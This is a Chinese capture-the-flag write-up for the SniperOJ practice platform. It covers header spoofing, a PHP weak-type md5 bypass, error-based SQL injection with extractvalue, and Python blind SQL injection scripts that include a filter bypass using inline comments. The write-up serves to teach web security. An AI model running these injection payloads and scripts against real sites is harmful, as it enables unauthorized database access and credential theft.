SniperOJ WEB writeup

来源:互联网 发布:金正恩 知乎 编辑:程序博客网 时间:2024/06/05 06:16

好歹是认识的人,推荐一下题目平台地址:http://www.sniperoj.cn/

web

SniperOJ-Web-Browser

首先打开,需要用他特地的浏览器浏览
这里写图片描述

简单,抓包修改
这里写图片描述

进行下一关,需要本地访问
这里写图片描述

利用Modify Headers设置访问
这里写图片描述

进行下一关,需要特定端口
这里写图片描述

麻烦,直接curl命令
这里写图片描述

flag:SniperOJ{hyper_t3xt_tran5fer_pr0t0cOl}

md5-vs-injection

额,貌似那么熟悉,发现hint
这里写图片描述

直接百度,得到一个博客
直接输入字符串**得到**flag
这里写图片描述

flag:SniperOJ{md5_V5_injection}

php-weak-type

提示
这里写图片描述

看来有备份,index.php~顺势找到代码

<?php$flag = 'SniperOJ{********************}';    if(isset($_POST['password'])){        $current_password = "QNKCDZO";        $password = $_POST['password'];        if (($current_password != $password)){            $current_password_md5 = md5($current_password);            $password_md5 = md5($password);            if($current_password_md5 == $password_md5){                echo '<script>alert("You know php well!")</script>';                echo $flag;            }else{                echo('<script>alert("Your password is wrong!")</script>');            }        }else{            echo('<script>alert("Your password is wrong!")</script>');        }    }else{        echo('<script>alert("Input your password!")</script>');    }?>

直接就是个弱类型比较,随便输入个s878926199a得到flagSniperOJ{pHp_is_the_best_programming_language_in_the_world}

as fast as you can

这里写图片描述

就是读取,然后构造发送,要保证session一致,要不然会变
脚本

import requests   import base64  url = 'http://web.sniperoj.cn:10003/index.php'   cookie={    'PHPSESSID':'5jvgjihbnreaep98v606e4hhs6'}req=requests.get(url,cookies=cookie)  #print req.text  key=req.headers['Get-flag']  key=base64.b64decode(key) #print key data={'SniperOJ':key}  r=requests.post(url,data=data,cookies=cookie)   22413778print r.text

这里写图片描述

very-hard-injection

打开,无语,啥提示也没有,也不知道干嘛
这里写图片描述

随便试试吧。。。
这里写图片描述

总算是出来东西啦,还得猜table=users
这里写图片描述

总算是猜对啦,开始尝试是什么注入
这里写图片描述

发现'被转义,用宽字节不管用,那就只能试试报错
这里写图片描述

有戏,学习
http://blog.csdn.net/ysynhtt/article/details/45115849
构造
这里写图片描述

结果重名?!
这里写图片描述

修改方法

http://web2.sniperoj.cn:10003/?table=users` join (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))a)b on b.a=`username

这里写图片描述

成功!表名flagggggg
列名flag
这里写图片描述

flag
这里写图片描述

inject-again

这里写图片描述

这个让你输入用户名密码
这里写图片描述

听dalao提示是基于union的盲注
这里写图片描述

得到用户名就是admin
学习地址:http://wonderkun.cc/index.html/?cat=1&paged=3
盲注脚本

#!/usr/bin/python# coding:utf-8import requestsdef makeStr(begin,end):    str=""    for i in range(begin,end):        str+=chr(i)    return strdef getPassword():    url="http://web2.sniperoj.cn:10004/index.php?username="    testStr = makeStr(48,127)    #print testStr    username = "admin' union distinct select 1,2,0x{hex} order by 3 desc%23&password=1"    flag = ""    for  _  in range(32):        for i in testStr:            data = username.format(hex=(flag+i).encode('hex'))            #print data            res = requests.post(url+data)            if "admin" not in res.text:                flag= flag+chr(ord(i)-1)                print flag                breakif __name__== '__main__':    getPassword()

这里写图片描述

解密即flag
这里写图片描述

图书管理系统

这题打开只有三个框,一个还是摆设,那就随便尝试注册一个账号密码,然后再登陆一下,发现没什么区别
这是登陆成功
这里写图片描述

随便构造个语句测试一下
这里写图片描述

这里写图片描述

发现如果利用or的话,后面是false会显示正确,true的话会显示密码错误,这样就可以根据返回进行盲注
当然了,他肯定过滤了,但每次测试总感觉过滤的字符在改变,不过后来还是确定了是from,这样的话只能用内联注释,毕竟其他也不知道如何绕过,/*!*/只有MySQL能识别
首先为了测试还是利用burpsuite暴力一下,语句构造成功
这里写图片描述

直接上脚本

import requestsdic='#123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM_{}'flag = ''for i in range(1,40):    for j in dic:        url = 'http://www.sniperoj.cn:10000/src/API/login.php'        #con = "1d' or ascii(substr((select database()),{},1))={}#".format(i,ord(j))        #con = "1d' or ascii(substr((select group_concat(table_name) /*!from*/ information_schema.tables where table_schema=database()),{},1))={}#".format(i,ord(j))        #con = "1d' or ascii(substr((select group_concat(column_name) /*!from*/ information_schema.columns where table_name=0x666c34343467),{},1))={}#".format(i,ord(j))        con = "1d' or ascii(substr((select f1ag /*!from*/ fl444g),{},1))={}#".format(i,ord(j))        #print con        data = {'username': con,                'password':'1d',                'submit':'%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2'}        #print data        s=requests.post(url=url,data=data)        length = len(s.text)        #print length        if length == 28:            flag += j            print flag            breakprint flag#software#booksfl444grecordsusers#fl444g#f1ag

这里写图片描述

这里写图片描述

这里写图片描述

0 0